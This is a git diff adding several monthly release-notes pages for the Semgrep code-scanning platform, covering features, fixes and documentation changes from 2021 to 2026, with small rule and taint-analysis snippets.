+- Added information on [installing and using the Semgrep App for GitHub Enterprise](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) to connect to your GitHub orgs.
+
+### Changed
+
+- Major edits and updates to documentation for:
+ - [Semgrep Secrets](/semgrep-secrets/getting-started)
+ - [Semgrep Assistant](/semgrep-multimodal/overview)
+ - [Semgrep extension for Visual Studio Code](/extensions/semgrep-vs-code)
+- Updated Semgrep Pro Engine documentation to clarify what is enabled by the **cross-file analysis** toggle in **Semgrep Cloud Platform > Settings**.
+- Updated [**Findings** page information](/semgrep-code/findings).
+- Updated SSO documentation with latest steps to integrate with [Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id).
+- GitHub Actions configuration snippets have been updated to use `actions/checkout@v4`.
+
diff --git a/mintlify-docs/release-notes/march-2025.mdx b/mintlify-docs/release-notes/march-2025.mdx
new file mode 100644
index 0000000000..8eb7cb29eb
--- /dev/null
+++ b/mintlify-docs/release-notes/march-2025.mdx
@@ -0,0 +1,103 @@
+---
+title: "March 2025"
+description: "March 30, 2025 · 4 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Added the capability to delete projects through the Semgrep API. Deleting a project also deletes all of its findings. Refer to the [ API documentation](https://semgrep.dev/api/v1/#tag/Project/operation/semgrep_app.saas.handlers.repository.openapi_delete_project).
+- You can now view the `cwe_names` and `owasp_names` for findings fetched through the Semgrep API. See the [ API documentation](https://semgrep.dev/api/v1/#tag/Finding/operation/semgrep_app.core_exp.findings.handlers.issue.openapi_list_recent_issues).
+- Added `external_discussion_id` and `external_note_id` to findings returned by the Semgrep API. Use these fields to build links, put together dashboards, or other functionalities.
+- Various performance enhancements around full scans performed by Semgrep Managed Scans.
+- **Teams**: Members are able to view the **Project details** page. This enables them to view the scan logs for diff-aware scans. {/* FS1564 */}
+- Added a warning notification when you disable **all** rules. Disabling all rules means no findings will be detected in subsequent scans. {/* This is true for Code and Secrets, so broadly including it in AppSec Platform */}
+- Added a tooltip explaining the reason for why checkboxes for certain findings cannot be selected. Typically this is because the finding has been fixed.
+
+ 
+
+- Added a **Use Network Broker** toggle within the webhook integration dialog. This enables you to control access to the network broker on a per-webhook basis.
+- Dataflow traces now provide cross-file code snippets, centralizing context from several files into the dataflow graph. {/* SEC-1534 */}
+- The **Finding details** page now has a new triage button with options to ignore, fix, and reopen findings.
+- Added [ `llms.txt`](https://semgrep.dev/llms.txt).
+- Added an [integration with Wiz](/semgrep-appsec-platform/wiz) that enables you to view Semgrep Code findings in Wiz's Security Graph.
+- Added the ability to [define the files and folders Semgrep ignores](/ignoring-files-folders-code#define-files-and-folders-for-all-projects-of-an-organization) during scans at the organization level.
+
+### Changed
+
+- When findings are specifically ignored through a `nosemgrep` comment, Semgrep now informs the user why. Previously, there was no context provided when ignoring through a comment. {/* SEC2877 */}
+- Improved pagination performance.
+- Improved performance when fetching data for large teams.
+
+## 💻 Semgrep Code
+
+- Updates in Semgrep AppSec Platform regarding findings and rules also apply to Semgrep Code.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Added the ability to use transitivity and EPSS score as conditions when creating block and comment policies for Supply Chain.
+- Added [dependency path support](/semgrep-supply-chain/dependency-search#dependency-paths-beta) for the following Python package managers: `pip`, `pip-tools`, and `pipenv`.
+- Added the ability to [download SBOM exports using the Semgrep API](https://semgrep.dev/api/v1/#tag/SupplyChainService/operation/SupplyChainService_CreateSbomExport).
+
+### Fixed
+
+- Improved how Semgrep handles policies when projects or tags associated with the policy have been deleted. Semgrep now displays a warning when all projects or tags associated with a policy have been deleted:
+
+ 
+
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- **Auto-memories**: If you triage a finding as **Ignored** and provide an explanation of why you change the finding's status to **Ignored**, Assistant automatically determines if it should [create a memory](/semgrep-multimodal/customize#add-memory-during-triage-and-receive-memory-suggestions-from-assistant) for you. Assistant uses memories to tailor its remediation guidance for your projects.
+- Added the ability to select multiple AI providers.
+
+## 🔐 Semgrep Secrets
+
+### Fixed
+
+- Fixed the JSON produced by the `--gitlab-secrets` flag so that it is parsed correctly by GitLab.
+
+## 📝 Documentation and knowledge base
+
+### Added
+- Added new documents, articles and sections on the following topics:
+ - Global path ignores: Applying path ignores to all projects in an organization
+- Minor additions include:
+ - Semgrep Assistant features permitted based on roles
+ - Semgrep Managed Scans: Bitbucket support
+- Added CVE-2025-29783 to trophy case.
+
+### Changed
+
+- The **Supported languages > Semgrep Supply Chain** section has been reorganized for clarity. Product features and supported package managers have been separated into discrete tables.
+- Expanded on PR comments in Semgrep Secrets, particularly validation state policies.
+- Documentation about Semgrep Supply Chain's ignore behavior has been updated.
+- Clarified various procedures regarding:
+ - How to remove a Slack integration
+ - How triage behaves across different refs or branches
+- Various redirects have been updated.
+
+### Fixed
+
+- Various section links have been fixed.
+- Minor acronym and product terminology fixes.
+
+## 🔧 Semgrep Community Edition (CE)
+
+* The following versions of Semgrep CE were released in March 2025:
+
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/march-2026.mdx b/mintlify-docs/release-notes/march-2026.mdx
new file mode 100644
index 0000000000..f4c51b9529
--- /dev/null
+++ b/mintlify-docs/release-notes/march-2026.mdx
@@ -0,0 +1,134 @@
+---
+title: "March 2026"
+description: "April 10, 2026 · 8 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in March 2026.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Semgrep's **AI-powered detection** is now available in beta. With AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization.
+- Semgrep is now available as a Cursor and Claude Code plugin, providing automatic security scanning for Code, Supply Chain, and Secrets on every file.
+- Added **Duplicate** as a triage reason for findings when multiple rules identify the same issue or when the same issue is tracked elsewhere.
+- Findings can be linked to an existing ticket URL or have linked tickets removed when a ticketing integration is configured. Linking a ticket replaces any existing ticket associated with the selected findings.
+
+### Changed
+**Click to Fix** has been renamed to **Autofix**
+- On the **Rules & Policies > Policies** page, the **Projects scanning** column now replaces the previous global on/off toggle. You can scope each rule to all projects, selected projects or tags, all projects with exceptions, or disable the rule for all projects. A drawer provides project search, filters, and bulk selection.
+- **Billing & Usage** updates:
+ - When a deployment enforces AI credit limits, Semgrep AppSec Platform now shows alerts for low or exhausted credits and disables all AI features. If enforcement is off, these credit indicators stay hidden.
+ - Contributor counts reflect the last 90 days of activity, instead of 30.
+ - Billing timezones default to UTC for new organizations on usage-based billing.
+- The **Findings** page now loads code snippets after the main finding details. Slow or unavailable source code managers are less likely to block the page or cause timeouts.
+- Simplified GitHub onboarding by requiring only a single GitHub App installation instead of two. Existing users can now uninstall the public GitHub App if previously installed.
+- GitHub.com source code manager connections can now be added without requiring GitHub SSO login, and users can connect multiple GitHub organizations.
+- Improved member invite emails so invitations clearly require authorization through one of your accepted login methods.
+- Package registry integration settings under **Settings > Integrations > Registry** now include an option to use the Semgrep Network Broker when a registry is only reachable through your private network.
+- Improved load times for the **Projects** page, **Policies** registry search, and source code repository sync for large deployments.
+- Added support for agentic hooks in Windsurf IDE.
+
+### Fixed
+
+- Fixed a security vulnerability in SAML login handling, application container run web services, and read-only permissions.
+- With RBAC enabled, read-only users can no longer trigger scans from the Semgrep AppSec Platform or API.
+- Added server-side validation to enforce the 3,000-character limit for triage notes across all API endpoints.
+- Fixed findings links across Semgrep products so shared URLs, bookmarks, dashboard shortcuts, and notification links preserve the correct branch and tab context.
+- Fixed **Settings** page scroll behavior so top-level tabs stay visible after load.
+- Fixed an issue where invalid webhook configurations would cause the **Integrations** page to become unusable.
+- The **Enable Secrets** button now links to the correct **Settings** page.
+- Fixed an issue where custom policies with no rules assigned would cause the **Policies** page to load indefinitely.
+- Fixed an issue where the **Policies** page would crash when rulesets contained soft-deleted rules.
+- Fixed an issue where filtering by rule mode on the **Code Findings** page would break the project filter, causing findings from all projects to appear.
+- Fixed **Findings** page scroll when nested lists were still collapsed.
+- Fixed an issue where findings with the status **Reviewing** had no action to continue triage. **Mark as open** in the finding menu sets the finding to **Reopened**.
+- Fixed an issue where OpenID Connect SSO login could fail after recent provider updates that require the `iss` parameter.
+- Fixed an issue where Slack notifications were missing merge request hyperlinks for self-managed GitLab instances with custom domain names.
+- Fixed an issue where API errors could lead to the RBAC enablement screen incorrectly being displayed for deployments that already had RBAC enabled.
+- Fixed an issue where Azure DevOps Cloud was incorrectly classified as an on-premise source code manager, causing incorrect warnings and blocking setup for valid cloud configurations.
+- Fixed an issue where automatically setting up the same repository in multiple Semgrep projects could trigger duplicate diff-aware scans. Semgrep now auto-configures diff-aware scans only for the first linked project. Additional linked projects continue to receive automatic full scans, and diff-aware scans can still be configured manually.
+- Fixed an issue where bulk ignore required a comment when changing **provisionally ignored** findings to **ignored**, even though a comment is optional.
+- Added validation to reject bulk triage API requests that provide neither `issue_ids` nor filter criteria, preventing accidental triage of all findings.
+- Fixed an issue where bulk ignore required a comment before you could submit when changing **provisionally ignored** findings to **ignored**, even though a comment is optional for that action.
+- Fixed several issues with AI credits billing and usage:
+ - AI credits no longer show as zero on **Billing & Usage** when there are active credit grants.
+ - AI credits are no longer counted more than once for organizations with multiple licenses.
+ - AI credits no longer expire before the subscription ends for prorated or multi-year plans.
+
+
+## 💻 Semgrep Code
+
+### Added
+- Autofix is now in beta for Semgrep Code, extending AI-generated draft pull requests (PRs) to Code findings in addition to Supply Chain findings.
+- The **Code** page now shows AI-powered detection findings and rule-based scan findings, with filters to help you view each type separately.
+- Added beta support for PowerShell.
+
+### Changed
+
+- Updated Kotlin tree-sitter parser to the latest grammar.
+- **Scala**: improved taint tracking through lambda calls and cross-file tracking for globals, and improved type and call resolution.
+
+### Fixed
+- Fixed the finding's **Details** page so the **Rule-defined fix** tab also appears for rules that define a regex-based fix, not only rules that use a standard `fix` field.
+- Fixed path filtering when scanning single files to correctly match project-relative patterns like `/src/test/**/*.java`.
+- Fixed various parsing issues in Rust, Python, and Kotlin.
+- Improved error reporting by reporting target file discovery errors as warnings instead of silently ignoring them.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Dependency scanning for Java and Kotlin projects **without lockfiles** is now in public beta. Maven, Gradle, Artifactory, Nexus Cloud, and on-premises source code managers are supported.
+- Added an admin-only API endpoint that allows you to re-run upgrade requirements analysis for Supply Chain findings. Each request can include up to 10 issues.
+
+### Changed
+
+- Supply Chain dependency search includes an **Exact match** option so you can use strict package-name matching or substring-style matching.
+- Added **Autofix** filters to the Supply Chain findings. Supply Chain Autofix PRs and MRs now display detailed descriptions.
+- Supply Chain finding **Details** pages now show reachability in only one place instead of twice.
+- Simplified **Upgrade Guidance** filters on Supply Chain findings. **Breaking** is now a single filter that matches any breaking-change type.
+- Disabling Semgrep Multimodal turns off Supply Chain Upgrade Guidance, so it is not left enabled without model providers; dependency processing also skips starting Upgrade Guidance when no AI providers are configured.
+- Supply Chain periodically refreshes cached dependency license metadata from upstream sources so license identifiers stay closer to current System Package Data Exchange (SPDX) data.
+- Supply Chain analysis of npm package lock files now uses a proprietary parser and is available only to Semgrep Pro users.
+
+### Fixed
+
+- Fixed an issue where Supply Chain **Autofix** selected the wrong workflow when the ecosystem set from the browser did not match the ecosystem on the finding from the scan.
+- Fixed an issue where the custom dependency exception modal would not accept version numbers without a patch component, for example `1.19`, blocking exceptions for packages that don't follow strict semantic versioning.
+- Fixed an issue where searching for dependencies with special characters, like `:`, in their names would fail with an error.
+- Fixed an issue where the **Safe** Upgrade Guidance filter would incorrectly include findings with no Upgrade Guidance available.
+- Fixed a security issue with the Supply Chain upgrade requirements API endpoint.
+- Fixed a security issue in the Supply Chain dependency path API endpoint.
+- Fixed `requirements.txt` parser silently dropping pinned dependencies that followed unpinned package names.
+
+## 🤖 Semgrep Multimodal
+
+- **Semgrep Assistant** is renamed **Semgrep Multimodal** to better reflect all its AI-powered capabilities.
+
+### Fixed
+
+- Fixed **Suggested memories** failing to load for memories created from PR and MR triage comments.
+
+## 🔐 Semgrep Secrets
+
+### Changed
+
+- Semgrep secret validation now times out after 30 seconds instead of 15 minutes. This timeout is configurable via the `--secrets-timeout` flag.
+
+## 📝 Documentation and knowledge base
+
+### Changed
+
+- The [v1 API reference](https://semgrep.dev/api/v1/) now documents request bodies for **POST**, **PUT**, and **PATCH** operations instead of showing those inputs as query parameters. **GET** and **DELETE** behavior in the reference is unchanged.
+
+## 🔧 OSS Engine
+
+- The following versions of the OSS Engine were released in March 2026:
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/may-2021.mdx b/mintlify-docs/release-notes/may-2021.mdx
new file mode 100644
index 0000000000..ce9c516f65
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2021.mdx
@@ -0,0 +1,80 @@
+---
+title: "May 2021"
+description: "May 30, 2021 · 2 min read"
+rss: true
+---
+
+
+## Version 0.52.0
+
+This version also includes release notes for Semgrep version 0.53.0.
+
+### Additions
+
+- Alpha support for C#
+- Metavariables match both a constant variable occurrence and that same constant value ([#3058](https://github.com/semgrep/semgrep/pull/3058))
+
+### Fixes
+
+- OCaml: fix useless-else false positives by generating appropriate AST for if without an else.
+- JavaScript/TypeScript: Propagate constant definitions without declaration
+
+## Version 0.51.0
+
+### Additions
+
+- Keep track of and report rule parse time in addition to file parse time
+- v0 of opt-in, anonymous aggregate metrics
+
+### Fixes
+
+- JavaScript/TypeScript: allow the deep expression operator `<... ...>` in expression statement position, for example:
+
+```
+
+ARG = [$V];
+
+...
+
+<... $O[$ARG] ...>; // this works now
+
+```
+
+- PHP arrays with dots inside parse
+- Propagate constants in nested lvalues such as y in x[y]
+- Experimental support for C#
+
+### Changes
+
+- Show log messages from semgrep-core when running semgrep with --debug
+- By default, targets larger than 1 MB are now excluded from Semgrep scans. The new option --max-target-bytes 0 restores the previous behavior.
+- Report relative path instead of absolute when using --time
+
+## Version 0.50.1
+
+### Additions
+
+- JS/TS: Infer global constants even if the const qualifier is missing ([#2978](https://github.com/semgrep/semgrep/pull/2978))
+- PHP: Resolve names and infer global constants in the same way as for Python
+
+### Fixes
+
+- Empty yaml files do not crash
+- Autofix does not insert newline characters for patterns from semgrep.live ([#3045](https://github.com/semgrep/semgrep/pull/3045))
+- Autofix printout is grouped with its own finding rather than the one below it ([#3046](https://github.com/semgrep/semgrep/pull/3046))
+- Do not assign constant values to assigned variables ([#2805](https://github.com/semgrep/semgrep/issues/2805))
+- A --time flag instead of --json-time which shows a summary of the timing information when invoked with normal output and adds a time field to the json output when --json is also present
+
+### Changes
+
+- Moved some debug logging to verbose logging
+- $...ARGS can now match an empty list of arguments, just like ... ([#3177](https://github.com/semgrep/semgrep/issues/3177))
+- JSON and SARIF outputs sort keys for predictable results
+- .git/ directories are ignored when scanning
+- External Python API (semgrep_main.invoke_semgrep) now takes an optional OutputSettings argument for controlling output
+- json_time has moved to OutputSettings.output_time, this and many other OutputSettings arguments have been made optional
+
+### Removed
+
+- `--json-time` flag in favor of `--json` + `--time`
+
diff --git a/mintlify-docs/release-notes/may-2022.mdx b/mintlify-docs/release-notes/may-2022.mdx
new file mode 100644
index 0000000000..4fd2db45b5
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2022.mdx
@@ -0,0 +1,68 @@
+---
+title: "May 2022"
+description: "May 30, 2022 · 4 min read"
+rss: true
+---
+
+
+## Semgrep App
+
+### Additions
+
+- Team and Enterprise tier users can now integrate Semgrep into their GitHub Enterprise (GHE) and GitLab Self-Managed (GLSM) repositories. See [Integrating Semgrep into source code management (SCM) tools](/deployment/connect-scm).
+- You can now scan locally through Semgrep CLI and then upload findings to Semgrep App.
+- Semgrep App now has a project setup page for integrating Semgrep with Jenkins. To create a new project with Jenkins, log in to Semgrep App and click **[Projects](https://semgrep.dev/orgs/-/projects)** > **Scan new project** > **Run scan in CI** > **Jenkins**.
+
+### Changes
+
+- The Playground UI is now similar to Semgrep App's Editor UI for a consistent experience.
+
+## Semgrep CLI and Semgrep in CI
+
+These release notes include upgrades for all versions ranging between **0.91.0** and **0.94.0**.
+
+### Changes
+
+- taint-mode: Let's say that the `taint(x)` function makes `x` argument tainted by side-effect. Previously, Semgrep had to rely on a workaround that declared that any occurrence of `x` inside `taint(x); ...` was a taint source. If `x` was overwritten with safe data, this was not recognized by the taint engine. Also, if `taint(x)` occurred inside of, for example, an `if` block, any occurrence of `x` outside that block was not considered tainted. Now, if you specify that the code variable itself is a taint source (using `focus-metavariable`), the taint engine will handle this as expected, and it will not suffer from the aforementioned limitations. We believe that this change should not break existing taint rules, but please report any regressions that you may find.
+
+- taint-mode: Let's say that the `sanitize(x)` function sanitizes `x` argument by side-effect. Previously, Semgrep had to rely on a workaround that declared that any occurrence of `x` inside `sanitize(x); ...` was sanitized. If `x` is later overwritten with tainted data, the taint engine would still consider `x` parameter as safe. Now, if you specify that the code variable itself is sanitized (using `focus-metavariable`), the taint engine handles this as expected and it will not suffer from such limitation. We believe that this change should not break existing taint rules, but please report any regressions that you may find.
+
+- The dot access ellipsis now matches field accesses in addition to method calls. See the following example in [Semgrep Playground](https://semgrep.dev/playground/s/9010).
+
+
+- In this version, we have made several performance improvements to the code that surrounds our source parsing and matching core. This includes file targeting, rule fetching, and similar parts of the codebase. When we tested `semgrep scan --config auto` on the Semgrep repository itself, the performance improved from 50-54 seconds to 28-30 seconds.
+ - As part of these changes, we removed `:include .gitignore` and `.git/` from the default `.semgrepignore` patterns. This should not cause any difference in which files are targeted as other parts of Semgrep ignore these files already.
+ - A full breakdown of our performance updates, including some upcoming ones, can be found in this [GitHub comment that gives an overview of these changes](https://github.com/semgrep/semgrep/issues/5257#issuecomment-1133395694).
+
+- If a metrics event request times out, Semgrep no longer retries the request. This avoids Semgrep waiting 10-20 seconds before exiting if these requests are slow.
+
+- The metrics collection timeout has been raised from 2 seconds to 3 seconds.
+
+- Files, where only a part of the code was skipped due to a parse failure, are now listed as `partially scanned` in the end-of-scan skip report.
+
+- The `isAuthenticated` was added to metrics sent to Semgrep backend. This is a boolean flag that is true if you are logged in.
+
+- Semgrep in CI prints out all findings instead of hiding nonblocking findings. ([#5116](https://github.com/semgrep/semgrep/issues/5116))
+
+### Additions
+
+- `metavariable-regex` now supports an optional `constant-propagation` key. When this is set to `true`, information learned from constant propagation is used when matching the metavariable against the regex. By default, it is set to `false`.
+
+- Dockerfile: Constant propagation now works on variables declared with `ENV`.
+
+- Added `shouldafound`. For more information, see [Reporting false negatives](/reporting-false-negatives).
+
+- dataflow: The [data-flow analysis engine](/writing-rules/data-flow/data-flow-overview) now handles `if-then-else` **expressions** as in OCaml, Ruby, etc. Previously it only handled `if-then-else` **statements**. ([#4965](https://github.com/semgrep/semgrep/issues/4965))
+
+- taint-mode: Previously, to declare a function parameter as a taint source, Semgrep relied on a workaround that declared that any occurrence of the parameter was a taint source. If the parameter was overwritten with safe data, this was not recognized by the taint engine. Now, `focus-metavariable` can be used to specify that a function parameter is a source of taint, and the taint engine handles this as expected.
+
+- taint-mode: Add basic support for object destructuring in languages such as JavaScript. For example, given `let {x} = E`, Semgrep now infers that `x` is tainted if `E` is tainted.
+
+- The JSON output of the Semgrep scan is now fully specified using [ATD](https://atd.readthedocs.io/) and JSON Schema (https://json-schema.org/). See the semgrep-interfaces submodule under interfaces/ (for example, `interfaces/semgrep-interfaces/Semgrep_output_v0.atd` for the ATD specifications).
+
+- The JSON output of `semgrep scan` now contains a `version`: field with the version of Semgrep used to generate the match results.
+
+### Additional information
+
+To see the complete change notes which include fixed issues, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
diff --git a/mintlify-docs/release-notes/may-2023.mdx b/mintlify-docs/release-notes/may-2023.mdx
new file mode 100644
index 0000000000..f1d398116b
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2023.mdx
@@ -0,0 +1,185 @@
+---
+title: "May 2023"
+description: "May 30, 2023 · 9 min read"
+rss: true
+---
+
+
+
+**RELEASE NOTES FROM MAY UNTIL JUNE 9**
+
+These release notes include updates made by Semgrep, Inc. from May 2023 until June 9. Due to the importance of the launch week at the beginning of June 2023, we decided to include the most important updates from the launch also on the release notes page that you are now reading.
+
+## Semgrep tiers
+
+- Semgrep’s Community Tier has been sunsetted. Existing and new users now have access to **all** Semgrep Team tier features for free, subject to [usage limits](/usage-and-billing/overview).
+
+## Semgrep Cloud Platform
+
+- Semgrep Playground **Turbo mode** is now in beta. This new mode enables users to create rules using the Semgrep OSS engine which will automatically run upon detecting any change in the rule or sample code. There is **no need to click a Run button** in Turbo mode.
+- Semgrep Zero-config Scanning for GitHub.com is now in beta. Onboard or add many repositories to the Semgrep Cloud Platform without having to commit a CI file for every repository! Reach out to [sales@semgrep.com](mailto:sales@semgrep.com) to try it out.
+- Role-based access control (RBAC) is now available to all Team tier users, subject to usage limits.
+- Single Sign-On (SSO) is now available to all Team tier users, subject to usage limits.
+- Improved the UI on the **Settings** page.
+
+## Semgrep OSS Engine
+
+This section of release notes includes upgrades of Semgrep OSS Engine for versions ranging between 1.21.0 and 1.26.0.
+
+- Kotlin language support update: Kotlin now upgraded from beta support to full GA support! Additionally, as a part of this update for Kotlin:
+ - Added named ellipses, as `$...X`.
+ - Added literal metavariables, from patterns like `"$FOO"`. You can still match strings that only contain a single interpolated ident by using the brace notation, e.g. `"${FOO}"`.
+ - Interpolated identifiers in strings, such as `$foo`, are now properly able to match explicitly interpolated expressions, such as `${...}`.
+- Added experimental support for the programming language Cairo 1.0. Thanks to [Frostweeds](https://github.com/Frostweeds) (Romain Jufer) for his contribution!
+- Added experimental support for the programming language Julia.
+- Java support improvement: Semgrep OSS Engine now includes heuristics based on the Java standard library and common naming patterns. As a result, Semgrep OSS Engine can now determine more types of Java expressions, for use with [Typed Metavariables](/writing-rules/pattern-syntax#typed-metavariables).
+- We are introducing a new experimental generic matching engine [Aliengrep](/writing-rules/experiments/aliengrep) as an alternative to the default generic mode engine (Spacegrep). Generic mode is used for languages that are not supported by Semgrep OSS Engine. Try out [Aliengrep](/writing-rules/experiments/aliengrep) and let us know what you think about it!
+- Taint analysis updates:
+ - In Java, Semgrep OSS Engine can now track taint through more get and set methods (getters and setters). Before this update, taint analysis of Semgrep OSS Engine could already relate setters to getters (for example: `o.setX(taint); o.getX()`. With this update, it can relate setters and getters to properties (for example `o.setX(taint); o.x`).
+ - Added experimental options `taint_assume_safe_booleans` and `taint_assume_safe_numbers` to avoid propagating taint that comes from expressions with boolean or number (integer, float) types.
+ - Semgrep OSS Engine can recognize that an object constructed by `new Obj("tainted", "safe")` has its `x` attribute tainted, whereas its `y` attribute is safe.
+ - Extract mode: users can now choose to include or exclude rules to run on, similar to `paths:`.
+
+ For example, to only run the rules on `example-1` and `example-2`:
+
+ ```yaml
+ rules:
+ - id: test-rule
+ mode: extract
+ rules:
+ include:
+ - example-1
+ - example-2
+
+ ```
+
+ To run the rule on everything except `example-1` and `example-2`:
+
+ ```yaml
+ rules:
+ - id: test-rule
+ mode: extract
+ rules:
+ exclude:
+ - example-1
+ - example-2
+
+ ```
+
+ (GitHub issue [#7858](https://github.com/semgrep/semgrep/issues/7858))
+
+- Semgrep OSS Engine Language Server updates. The following two updates are also related to [Semgrep Visual Studio Code extension](#semgrep-visual-studio-code):
+ - Support for search and replace with rule patterns through semgrep/search.
+ - Language Server now notifies you about errors and includes a reason for the crash.
+
+- Relaxed restrictions on symbolic propagation so that symbolic values survive branching statements. Now (with symbolic-propagation enabled) `foo(bar())` matches the following code:
+
+ ```python
+ def test():
+ x = bar()
+ if cond:
+ exit()
+ foo(x)
+ ```
+
+The Semgrep OSS Engine section of release notes mentions only selected additions and changes, for specific bug fixes, see [Semgrep OSS Engine GitHub](https://github.com/semgrep/semgrep/blob/develop/CHANGELOG.md) changelog and search for Fixed sections under each version.
+
+## Semgrep Supply Chain
+
+- Semgrep Supply Chain’s **License compliance** feature is now in beta. This feature enables developers to view the licenses of dependencies in all repositories that are scanned by Semgrep Supply Chain. Read the documentation: [License compliance](/semgrep-supply-chain/license-compliance).
+ - This feature also enables security engineers to **Block,** leave a **Comment,** or **Allow** dependencies when a PR introducing the dependency is first opened, based on the license of the dependency.
+ - License compliance supports many popular Copyleft, Weak-copyleft, and Permissive licenses. Other licenses can also be detected.
+
+ 
+
+- Semgrep Supply Chain is now available for free to Team tier users, subject to usage limits.
+- Improvements to Semgrep Supply Chain **Dependencies** page.
+
+## Semgrep Visual Studio Code
+
+Semgrep Visual Studio Code extension received new updates! Try to scan your code using the extension and let us know what we can improve. See more in [Semgrep Visual Studio Code extension](/extensions/semgrep-vs-code) documentation. This extension allows you to check your code for vulnerabilities within seconds, with every line of code changed in the editor. The extension is built on Language Server Protocol, so you can hack it for other editors of your choice. The extension also has a dedicated [changelog on GitHub](https://github.com/semgrep/semgrep-vscode/blob/master/CHANGELOG.md) so you can always see the latest updates.
+
+## Semgrep Code
+
+- There is a new Policies page that is going to replace the Rule board in Semgrep Code! Switch to the new version by clicking **Try new version** in the Rule board header. The new page gives the rule overview a noticeable facelift and many optimizations, you can now easily filter for various types of rule metadata, and specific types of rules and make bulk edits which would have been hardly achievable with the old Rule board. Read more in [Policies](/semgrep-code/policies) documentation.
+
+ 
+
+- You can now rename Projects in the Semgrep Cloud Platform. Before this update, when you renamed a repository in your Source Code Manager (SCM), for example in GitHub, GitLab, or Bitbucket, all of your previous Semgrep findings and triage data were lost as Semgrep recognized the renamed repository only as a new repository. With this update, you can now manually rename the project in Semgrep Code. This is the first step before we will bring you an automated solution (as this update still requires manual action). But now you can rename a project in Semgrep Code to match the new repository name without losing your findings data! To rename a repository:
+
+ i. On the [Projects](https://semgrep.dev/orgs/-/projects) page of Semgrep Cloud Platform, click the gear icon **Settings**. of the repository where you want to change the repository name.
+
+ 
+
+ ii. Click the three dots …, and then click Rename project.
+
+ 
+
+ iii. Create a name that matches the name in your SCM, and then click **Rename**.
+
+## Pro rules
+
+Recently released rules bring a total of:
+
+- 61 Pro rules for **Kotlin** (with support frameworks like Spring and Ktor)
+- 69 Pro rules for **Go** (with support frameworks such as Gin, Gorilla, gRPC, net/HTTP, and more)
+
+These rules are available through the [Semgrep Registry](https://semgrep.dev/explore), in rulesets such as `p/default` and `p/comment`, as well as language-specific rulesets such as `p/kotlin` and `p/golang`. In total, there are now more than 500 Pro rules available.
+
+## Semgrep Pro Engine
+
+- Semgrep Pro Engine now provides cross-function support for Go and Kotlin!
+- Semgrep Pro Engine allows you to visualize the flow of tainted data (dataflow traces) in Semgrep Code. With this update, you can also receive findings with the visualized flow of tainted data in a pull request (PR) or merge request (MR) Semgrep comments. For more information, see the following documentation:
+ - [Dataflow traces in PR comments](/semgrep-appsec-platform/github-pr-comments/#dataflow-traces-in-pr-comments)
+ - [Dataflow traces in MR comments](/semgrep-appsec-platform/gitlab-mr-comments/#dataflow-traces-in-mr-comments)
+- Taint analysis:
+ - Taint labels now mostly work cross-function (interprocedural) analysis, except for labeled propagators.
+ Note that taint labels are experimental!
+ - Taint analysis now supports cross-function (interprocedural) field sensitivity for JavaScript and TypeScript.
+
+ For example:
+
+ ```javascript
+ class Obj {
+ constructor(x, y) {
+ this.x = x;
+ this.y = y;
+ }
+ }
+ ```
+
+ - Semgrep Pro Engine taint analysis can now perform field-sensitive analysis of class constructors in Java. For example, if the default constructor of a class `C` sets its field `x` to a tainted value, given `o = new C()`, Semgrep knows that `o.getX()` is tainted.
+
+## Documentation updates
+
+### Additions
+
+- Added a new [Usage limits](/usage-and-billing/overview) FAQ page.
+- Added a new document about [License compliance](/semgrep-supply-chain/license-compliance).
+- Added a new document [Searching through your dependencies](/semgrep-supply-chain/dependency-search) in Semgrep Supply Chain documentation.
+- Added a new section [Updating Semgrep Pro Engine in CLI](/semgrep-code/semgrep-pro-engine-intro#update-cross-file-analysis-in-the-cli).
+- There is a new section [Limitations of symbolic propagation](/writing-rules/experiments/symbolic-propagation#limitations-of-symbolic-propagation).
+- Added dataflow traces in PRs and MRs documentation.
+ - [Dataflow traces in PR comments](/semgrep-appsec-platform/github-pr-comments#dataflow-traces-in-pr-comments)
+ - [Dataflow traces in MR comments](/semgrep-appsec-platform/gitlab-mr-comments#dataflow-traces-in-mr-comments)
+- Add executing commands as strings and many more updates to the [Command injection prevention for Ruby](/cheat-sheets/ruby-command-injection).
+- Added [Semgrep Pro Engine CI scans](/semgrep-code/semgrep-pro-engine-intro#run-cross-file-analysis-in-the-cli) section.
+- Added new [Policies](/semgrep-code/policies) page documentation, also updated **Rule board** documentation with an admonition about Policies page.
+- Added [Semgrep Visual Studio Code extension](/extensions/semgrep-vs-code) documentation.
+- Added [Aliengrep](/writing-rules/experiments/aliengrep) reference documentation.
+
+### Changes
+
+- Updated [Join mode](/writing-rules/experiments/join-mode/overview) documentation.
+- Admonitions regarding the new Turbo mode were added to Playground and Editor documentation. Go to [Playground](/semgrep-code/editor) documentation and search for turbo mode.
+- Updated [Single-sign on (SSO) configuration](/deployment/sso).
+- Updated [Evaluating your security posture through the Dashboard](/semgrep-appsec-platform/dashboard/) document.
+- Our Rule syntax document now shows that focus metavariables can be a list of more focus metavariables. See the rule example in [Including multiple focus metavariables using set intersection semantics](/writing-rules/rule-syntax/#including-multiple-focus-metavariables-using-set-intersection-semantics) section.
+- The [General rule requirements](/contributing/contributing-to-semgrep-rules-repository/#general-rule-requirements) section of Contributing rules document now includes a more precise definition of the `severity` YAML rules key.
+- Our docs search now includes heading information to better contextualize search results and other fixes to optimize the documentation search.
+- Code samples in [Sample continuous integration (CI) configurations](/semgrep-ci/sample-ci-configs) document now includes workflow dispatch and other additional updates to various code snippets on this page.
+- Updated source paths in [Contributing code](/contributing/contributing-code/) documentation.
